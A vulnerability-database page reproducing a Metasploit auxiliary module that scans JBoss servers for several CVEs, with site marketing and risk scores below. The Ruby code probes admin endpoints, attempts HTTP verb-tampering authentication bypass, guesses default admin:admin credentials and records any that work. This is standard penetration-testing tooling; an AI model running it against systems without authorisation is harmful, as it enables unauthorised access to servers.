Lucene search
K

JBoss Vulnerability Scanner

🗓️ 21 Jun 2010 16:53:52Reported by Tyler Krpata, Zach Grace <@ztgrace>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 44 Views

JBoss Vulnerability Scanner for CV

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##



class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report

  def initialize(info = {})
    super(update_info(info,
      'Name'                  => 'JBoss Vulnerability Scanner',
      'Description'           => %q(
        This module scans a JBoss instance for a few vulnerabilities.
      ),
      'Author'                =>
        [
          'Tyler Krpata',
          'Zach Grace <@ztgrace>'
        ],
      'References'            =>
        [
          [ 'CVE', '2008-3273' ], # info disclosure via unauthenticated access to "/status"
          [ 'CVE', '2010-1429' ], # info disclosure via unauthenticated access to "/status" (regression)
          [ 'CVE', '2010-0738' ], # VERB auth bypass on "JMX-Console": /jmx-console/
          [ 'CVE', '2010-1428' ], # VERB auth bypass on "Web Console": /web-console/
          [ 'CVE', '2017-12149' ] # deserialization: "/invoker/readonly"
        ],
      'License'               => BSD_LICENSE
      ))

    register_options(
      [
        OptString.new('VERB',  [ true,  "Verb for auth bypass testing", "HEAD"])
      ])
  end

  def run_host(ip)
    res = send_request_cgi(
      {
        'uri'       => "/" + Rex::Text.rand_text_alpha(12),
        'method'    => 'GET',
        'ctype'     => 'text/plain'
      })

    if res

      info = http_fingerprint(:response => res)
      print_status("#{rhost}:#{rport} Fingerprint: #{info}")

      if res.body && />(JBoss[^<]+)/.match(res.body)
        print_error("#{rhost}:#{rport} JBoss error message: #{$1}")
      end

      apps = [
        '/jmx-console/HtmlAdaptor',
        '/jmx-console/checkJNDI.jsp',
        '/status',
        '/web-console/ServerInfo.jsp',
        # apps added per Patrick Hof
        '/web-console/Invoker',
        '/invoker/JMXInvokerServlet',
        '/invoker/readonly'
      ]

      print_status("#{rhost}:#{rport} Checking http...")
      apps.each do |app|
        check_app(app)
      end

      jboss_as_default_creds

      ports = {
        # 1098i, 1099, and 4444 needed to use twiddle
        1098 => 'Naming Service',
        1099 => 'Naming Service',
        4444 => 'RMI invoker'
      }
      print_status("#{rhost}:#{rport} Checking services...")
      ports.each do |port, service|
        status = test_connection(ip, port) == :up ? "open" : "closed"
        print_status("#{rhost}:#{rport} #{service} tcp/#{port}: #{status}")
      end
    end
  end

  def check_app(app)
    res = send_request_cgi({
      'uri'       => app,
      'method'    => 'GET',
      'ctype'     => 'text/plain'
    })



    unless res
      print_status("#{rhost}:#{rport} #{app} not found")
      return
    end

    case
    when res.code == 200
      print_good("#{rhost}:#{rport} #{app} does not require authentication (200)")
    when res.code == 403
      print_status("#{rhost}:#{rport} #{app} restricted (403)")
    when res.code == 401
      print_status("#{rhost}:#{rport} #{app} requires authentication (401): #{res.headers['WWW-Authenticate']}")
      bypass_auth(app)
      basic_auth_default_creds(app)
    when res.code == 404
      print_status("#{rhost}:#{rport} #{app} not found (404)")
    when res.code == 301, res.code == 302
      print_status("#{rhost}:#{rport} #{app} is redirected (#{res.code}) to #{res.headers['Location']} (not following)")
    when res.code == 500 && app == "/invoker/readonly"
      print_good("#{rhost}:#{rport} #{app} responded (#{res.code})")
    else
      print_status("#{rhost}:#{rport} Don't know how to handle response code #{res.code}")
    end
  end

  def jboss_as_default_creds
    print_status("#{rhost}:#{rport} Checking for JBoss AS default creds")

    session = jboss_as_session_setup(rhost, rport)
    return false if session.nil?

    # Default AS creds
    username = 'admin'
    password = 'admin'

    res = send_request_raw({
      'uri'      => '/admin-console/login.seam',
      'method'   => 'POST',
      'version'  => '1.1',
      'vhost'    => "#{rhost}",
      'headers'  => { 'Content-Type'  => 'application/x-www-form-urlencoded',
                      'Cookie'        => "JSESSIONID=#{session['jsessionid']}"
                    },
      'data'     => "login_form=login_form&login_form%3Aname=#{username}&login_form%3Apassword=#{password}&login_form%3Asubmit=Login&javax.faces.ViewState=#{session["viewstate"]}"
    })

    # Valid creds if 302 redirected to summary.seam and not error.seam
    if res && res.code == 302 && res.headers.to_s !~ /error.seam/m && res.headers.to_s =~ /summary.seam/m
      print_good("#{rhost}:#{rport} Authenticated using #{username}:#{password} at /admin-console/")
      add_creds(username, password)
    else
      print_status("#{rhost}:#{rport} Could not guess admin credentials")
    end
  end

  def add_creds(username, password)
    service_data = {
      address: rhost,
      port: rport,
      service_name: 'jboss',
      protocol: 'tcp',
      workspace_id: framework.db.workspace.id
    }

    credential_data = {
      module_fullname: self.fullname,
      origin_type: :service,
      private_data: password,
      private_type: :password,
      username: username
    }.merge(service_data)

    credential_core = create_credential(credential_data)
    credential_data[:core] = credential_core
    create_credential_login(credential_data)
  end

  def jboss_as_session_setup(rhost, rport)
    res = send_request_raw({
      'uri'       => '/admin-console/login.seam',
      'method'    => 'GET',
      'version'   => '1.1',
      'vhost'     => "#{rhost}"
    })

    unless res
      return nil
    end

    begin
      viewstate = /javax.faces.ViewState" value="(.*)" auto/.match(res.body).captures[0]
      jsessionid = /JSESSIONID=(.*);/.match(res.headers.to_s).captures[0]
    rescue ::NoMethodError
      print_status("#{rhost}:#{rport} Could not guess admin credentials")
      return nil
    end

    { 'jsessionid' => jsessionid, 'viewstate' => viewstate }
  end

  def bypass_auth(app)
    print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")

    res = send_request_raw({
      'uri'       => app,
      'method'    => datastore['VERB'],
      'version'   => '1.0' # 1.1 makes the head request wait on timeout for some reason
    })

    if res && res.code == 200
      print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering at #{app}")
    else
      print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
    end
  end

  def basic_auth_default_creds(app)
    res = send_request_cgi({
      'uri'       => app,
      'method'    => 'GET',
      'ctype'     => 'text/plain',
      'authorization' => basic_auth('admin', 'admin')
    })

    if res && res.code == 200
      print_good("#{rhost}:#{rport} Authenticated using admin:admin at #{app}")
      add_creds("admin", "admin")
    else
      print_status("#{rhost}:#{rport} Could not guess admin credentials")
    end
  end

  # function stole'd from mssql_ping
  def test_connection(ip, port)
    begin
      sock = Rex::Socket::Tcp.create(
        'PeerHost' => ip,
        'PeerPort' => port,
        'Timeout' => 20
      )
    rescue Rex::ConnectionError
      return :down
    end
    sock.close
    return :up
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2021 12:24Current
0.1Low risk
Vulners AI Score0.1
CVSS 27.5
CVSS 3.19.8
EPSS0.90713
44